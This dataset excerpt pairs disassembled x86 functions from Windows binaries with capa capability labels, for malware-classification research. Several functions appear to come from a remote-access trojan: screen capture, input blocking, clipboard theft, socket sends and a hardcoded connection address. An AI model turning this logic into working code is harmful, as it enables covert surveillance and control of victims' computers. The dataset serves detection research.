joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003fa0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x10004088
lea edi, [esi + 0x15c]
push edi
call fcn.10002ba0
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x10003fd8
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x10004082
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.100041a0
mov eax, dword [esi + 0x60]
test eax, eax
je 0x10004013
cmp dword [esi + 0x3c], 0
je 0x1000400c
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x1005a8f8
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x1000403b
mov edx, dword [esi + 0x48]
push edx
call fcn.10029030
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x10004050
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x10004072
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.100040a0
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10004470
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x264]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x18]
push ebx
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], 0xcc
cmp ecx, 3
je 0x100044ce
mov eax, esi
call fcn.10003fa0
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, esi
call fcn.10003540
mov ecx, dword [esi + 0x264]
push 0x1770
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10004527
cmp eax, 0x102
je 0x10004513
cmp eax, 0xffffffff
jne 0x1000451c
mov edx, dword [esi + 0x264]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x264]
push eax
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0x264]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x10004570
push 0
push 0
call fcn.100081cb
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10005440
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031a6e
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1005d1b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], ecx
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push esi
call edx
xor ebx, ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 8], ebx
lea eax, [esi + 0x38]
mov dword [ebp - 4], ebx
push eax
mov dword [esi], vtable.CScreenQuickManager.0
call fcn.100052f0
mov byte [ebp - 4], 1
push 0x100
mov dword [esi + 0x14], ebx
mov dword [esi + 0x28], 0x20
mov dword [esi + 0x2c], 1
call fcn.10007ec7
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 2
cmp eax, ebx
je 0x100054d7
push ebx
push 0x20
push eax
call fcn.10006a20
jmp 0x100054d9
xor eax, eax
mov dword [esi + 0xbc], eax
mov byte [esi + 0x18], 1
mov word [esi + 0x19], bx
mov byte [esi + 0x25], bl
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x4e
mov dword [esi + 0xc0], eax
call edi
push 0x4f
mov dword [esi + 0x1c], eax
call edi
push ebx
push ebx
push esi
push 0x10005c30
push ebx
push ebx
mov dword [esi + 0x20], eax
mov dword [esi + 0xc4], ebx
mov dword [esi + 0xc8], 0x18
mov byte [esi + 0x24], 0xe
call fcn.100081cb
push ebx
push ebx
push esi
push 0x10005d20
push ebx
push ebx
mov dword [esi + 0x30], eax
call fcn.100081cb
mov dword [esi + 0x34], eax
add esp, 0x30
mov dword [esi + 0x14], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10005690
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031a31
mov eax, dword fs:[0]
push eax
push ecx
push edi
mov eax, dword [0x1005d1b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [esi + 0x30]
push 0xffffffffffffffff
push eax
mov byte [esi + 0x18], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esi + 0xbc]
test ecx, ecx
je 0x100056ea
mov edx, dword [ecx]
mov eax, dword [edx]
push 1
call eax
mov dword [esi + 0xbc], 0
mov edi, dword [ebp + 8]
push 0x100
call fcn.10007ec7
add esp, 4
mov dword [ebp - 0x10], eax
cmp edi, 3
jne 0x10005719
mov dword [ebp - 4], 0
test eax, eax
je 0x1000574b
push 1
push 4
push eax
call fcn.10006a20
jmp 0x1000574d
cmp edi, 7
jne 0x10005735
mov dword [ebp - 4], 1
test eax, eax
je 0x1000574b
push 1
push 8
push eax
call fcn.10006a20
jmp 0x1000574d
mov dword [ebp - 4], 2
test eax, eax
je 0x1000574b
push 0
push edi
push eax
call fcn.10006a20
jmp 0x1000574d
xor eax, eax
movzx ecx, byte [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esi + 0xbc], eax
push ecx
add eax, 0x28
push eax
call edi
cmp byte [esi + 0x25], 0
mov ecx, dword [esi + 0xbc]
mov eax, 0xcc0020
je 0x1000577a
mov eax, 0x40cc0020
push eax
add ecx, 0x24
push ecx
call edi
mov eax, 0x3e8
cdq
idiv dword [esi + 0x2c]
mov ecx, dword [esi + 0xbc]
mov edx, dword [ebp + 8]
push 0
push 0
push esi
push 0x10005c30
push 0
push 0
mov dword [ecx + 0xfc], eax
mov dword [esi + 0x28], edx
call fcn.100081cb
add esp, 0x18
mov dword [esi + 0x30], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x100057d0
Capabilities:
Open clipboard

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov al, byte [ebx]
push esi
mov esi, ecx
cmp al, 0xcb
je 0x10005962
movzx eax, al
add eax, 0xfffffffc
push edi
cmp eax, 0xf
ja case.0x100057f4.14
jmp dword [eax*4 + 0x10005968]
push 0x20
call fcn.10005690
pop edi
pop esi
pop ebx
pop ebp
ret 8
cmp byte [esi + 0x19], 0
mov edi, dword [sym.imp.USER32.dll_BlockInput]
je 0x10005819
push 0
call edi
mov eax, dword [ebp + 0xc]
inc ebx
push ebx
dec eax
push esi
call fcn.10005e40
mov al, byte [esi + 0x19]
test al, al
je 0x10005961
movzx eax, al
push eax
call edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov bl, byte [ebx + 1]
mov edx, dword [esi + 0xbc]
movzx ecx, bl
push ecx
add edx, 0x28
push edx
mov byte [esi + 0x24], bl
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
pop ebp
ret 8
movzx ecx, byte [ebx + 1]
push ecx
call fcn.10005690
pop edi
pop esi
pop ebx
pop ebp
ret 8
movzx ecx, byte [ebx + 1]
mov eax, 0x3e8
cdq
idiv ecx
mov edx, dword [esi + 0xbc]
pop edi
mov dword [esi + 0x2c], ecx
pop esi
pop ebx
mov dword [edx + 0xfc], eax
pop ebp
ret 8
movzx eax, byte [ebx + 1]
push eax
add esi, 0x19
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
movzx ecx, byte [esi]
push ecx
call dword [sym.imp.USER32.dll_BlockInput]
pop edi
pop esi
pop ebx
pop ebp
ret 8
movzx edx, byte [ebx + 1]
push edx
add esi, 0x1a
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov bl, byte [ebx + 1]
mov ecx, dword [esi + 0xbc]
movzx eax, bl
push eax
push ecx
mov byte [esi + 0x25], bl
call fcn.10006ff0
pop edi
pop esi
pop ebx
pop ebp
ret 8
push esi
call fcn.100061a0
pop edi
pop esi
pop ebx
pop ebp
ret 8
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10005961
mov edi, dword [ebp + 0xc]
inc ebx
dec edi
push ebx
call fcn.10006150
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov edx, dword [esi + 0xbc]
pop edi
pop esi
mov dword [edx + 4], 0x3c
pop ebx
pop ebp
ret 8
mov eax, dword [esi + 0xbc]
pop edi
pop esi
mov dword [eax + 4], 0x55
pop ebx
pop ebp
ret 8
mov ecx, dword [esi + 0xbc]
pop edi
pop esi
mov dword [ecx + 4], 0x64
pop ebx
pop ebp
ret 8
call fcn.10029030
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x10006150
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10006195
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [ebp + 8]
push edi
push ecx
push eax
call fcn.1000c940
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebp
ret 4

Function at 0x100061a0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000622f
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
jne 0x100061cc
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
mov esp, ebp
pop ebp
ret 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push edi
lea esi, [eax + 1]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov dword [ebp - 4], eax
call fcn.100077b5
mov ecx, dword [ebp - 4]
mov ebx, eax
lea eax, [esi - 1]
push eax
push ecx
lea edx, [ebx + 1]
push edx
mov byte [ebx], 2
call fcn.1000c940
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x10006223
mov ecx, dword [eax + 4]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push esi
push ebx
call edx
push ebx
call fcn.1000826b
add esp, 4
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x100066a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x100066d7
cmp dword [0x1005e684], eax
je 0x100066d7
cmp dword [0x1005f3d4], eax
jne 0x100066d7
push eax
push eax
push eax
push 0x100065a0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1005f3d4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x100066e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
push 0xff
push str.192.168.50.142
call fcn.10008018
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0
push 0
push 0
push 0x100065a0
push 0
push 0
mov dword [0x1005e67c], ecx
mov dword [0x1005e680], edx
mov dword [0x1005e684], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1005f3d4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
pop ebp
ret

Function at 0x10006750
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x100065a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
ret
Function at 0x10006e30
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
push ebx
push edi
je 0x10006f59
cmp dword [esi + 0x68], 0
je 0x10006f59
call fcn.10007020
test al, al
je 0x10006e6c
mov eax, dword [esi + 0x38]
push eax
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x38], eax
mov bl, byte [esi + 0x28]
mov ecx, dword [esi + 0x68]
mov dword [esi + 0x6c], 0
lea edx, [ebp - 0xc]
mov byte [ecx], bl
inc dword [esi + 0x6c]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
fild dword [ebp - 0xc]
fmul dword [esi + 0x14]
call fcn.1002e340
fild dword [ebp - 8]
mov edi, eax
fmul dword [esi + 0x14]
call fcn.1002e340
sub eax, dword [esi + 0x10]
sub edi, dword [esi + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x6c]
add eax, dword [esi + 0x68]
mov dword [ebp - 0xc], edi
mov dword [eax], edi
mov ecx, dword [ebp - 8]
lea edx, [esi + 0x74]
mov dword [eax + 4], ecx
add dword [esi + 0x6c], 8
push edx
call fcn.10006990
mov ecx, dword [esi + 0x6c]
add ecx, dword [esi + 0x68]
mov byte [ecx], al
mov edx, dword [esi + 0x24]
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
inc dword [esi + 0x6c]
push edx
mov edx, dword [esi + 0x38]
push eax
mov eax, dword [esi + 0x1c]
push ecx
mov ecx, dword [esi + 0x18]
push edx
mov edx, dword [esi + 0x40]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
cmp bl, 0xe
jne 0x10006f04
mov ecx, esi
call fcn.100072b0
cmp dword [esi + 0xfc], 0x32
mov eax, dword [esi + 0x6c]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
jae 0x10006f4e
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [esi + 0xf8]
call ebx
sub eax, dword [edi]
cmp eax, dword [esi + 0xfc]
jae 0x10006f44
lea ecx, [ecx]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
sub eax, dword [edi]
cmp eax, dword [esi + 0xfc]
jb 0x10006f30
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x68]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x100077cb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1005d1b0]
jne 0x100077d5
repz ret
jmp fcn.10008679
Function at 0x1000c5ac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1005d1b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000a56b
and dword [ebp - 0x14], 0
cmp dword [0x1005f37c], 0
mov dword [ebp - 0x18], eax
jne 0x1000c65f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000c707
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000c707
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1005f37c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1005f380], eax
call edi
push eax
call esi
push 0x100337bc
push ebx
mov dword [0x1005f384], eax
call edi
push eax
call esi
mov dword [0x1005f38c], eax
test eax, eax
je 0x1000c65f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1005f388], eax
mov eax, dword [0x1005f388]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000c6b8
cmp dword [0x1005f38c], ecx
je 0x1000c6b8
push eax
call esi
push dword [0x1005f38c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000c6b8
test ebx, ebx
je 0x1000c6b8
call edi
test eax, eax
je 0x1000c6af
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000c6af
test byte [ebp - 8], 1
jne 0x1000c6b8
or dword [ebp + 0x10], 0x200000
jmp 0x1000c6eb
mov eax, dword [0x1005f380]
cmp eax, dword [ebp - 0x18]
je 0x1000c6eb
push eax
call esi
test eax, eax
je 0x1000c6eb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000c6eb
mov eax, dword [0x1005f384]
cmp eax, dword [ebp - 0x18]
je 0x1000c6eb
push eax
call esi
test eax, eax
je 0x1000c6eb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1005f37c]
call esi
test eax, eax
je 0x1000c707
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000c709
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100077cb
leave
ret
Function at 0x1002dce0
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002da70
Function at 0x401032
Capabilities:
Encode data using xor

Disassembly:
pushal
cld
xor eax, eax
mov edi, esi
lodsb al, byte [esi]
mov edx, ecx
mov cl, ah
xor al, 0xc3
rol al, cl
sub al, 0x54
stosb byte es:[edi], al
inc ah
mov ecx, edx
loop 0x401038
popal
clc
ret
Function at 0x40129f
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
and dword [ebp - 0x10], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x10]
push edi
mov dword [ebp - 0x38], esi
mov eax, dword [esi + 4]
mov edi, dword [esi]
mov dword [ebp - 0x20], eax
mov eax, dword [0x41b5c0]
mov dword [ebp - 0x30], eax
mov eax, dword [0x41b5c4]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x34], eax
call fcn.00401298
mov ebx, dword [ebp - 0x10]
mov eax, dword [str.del]
add ebx, 0x23f
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [0x41b5cc]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 0x20
mov dword [ebp - 0x1c], 2
add dword [ebp - 0x1c], 3
mov ecx, dword [0xae33d4]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x40132c
push 0x4182f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [ebp - 4]
mov ecx, dword [0xae33d4]
add eax, dword [ebp - 0x28]
mov edx, 0xedeb2e40
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
mov eax, dword [0xae33d0]
cmove eax, edx
xor edx, edx
mov dword [0xae33d0], eax
cmp ecx, 0x3eb
mov eax, dword [0xae3328]
cmove eax, edx
mov dword [0xae3328], eax
lea eax, [ebx + edi]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x14], edx
mov dword [0xae33cc], 0xf4ea3dee
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x18]
sub esi, eax
mov dword [ebp - 0xc], eax
mov eax, esi
mov dword [ebp - 0x18], esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
and dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
nop
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov edx, esi
mov eax, dword [ebp - 4]
add ebx, 0x61c88647
shr edx, cl
add edx, dword [ebp - 0x34]
mov dword [ebp - 0xc], edx
xor edx, dword [ebp - 0x20]
xor eax, edx
mov dword [ebp - 0x10], ebx
sub edi, eax
mov dword [ebp - 4], eax
dec dword [ebp - 0x24]
mov dword [ebp - 0x18], edi
jne 0x4012fa
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov dword [esi], edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d2fe
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a460]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00405535
mov dword [ebp - 0x14], eax
cmp dword [0x43eb84], esi
jne 0x40d3f1
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d37e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d4d1
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d4d1
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d4d1
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43eb84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43eb88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43eb8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43eb94], eax
test eax, eax
je 0x40d3ee
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43eb90], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d416
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d409
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d42b
push 4
pop eax
jmp 0x40d4d3
cmp dword [ebp - 0x14], esi
je 0x40d42b
push dword [0x43eb84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d410
mov eax, dword [0x43eb90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d489
cmp dword [0x43eb94], edi
je 0x40d489
push eax
call ebx
push dword [0x43eb94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d489
test eax, eax
je 0x40d489
call ecx
test eax, eax
je 0x40d47e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d47e
test byte [ebp - 8], 1
jne 0x40d489
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d4b9
mov eax, dword [0x43eb88]
cmp eax, edi
je 0x40d4b6
push eax
call ebx
test eax, eax
je 0x40d4b6
call eax
mov esi, eax
test esi, esi
je 0x40d4b6
mov eax, dword [0x43eb8c]
cmp eax, edi
je 0x40d4b6
push eax
call ebx
test eax, eax
je 0x40d4b6
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43eb84]
call ebx
test eax, eax
je 0x40d4d1
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d4d3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404840
mov esp, ebp
pop ebp
ret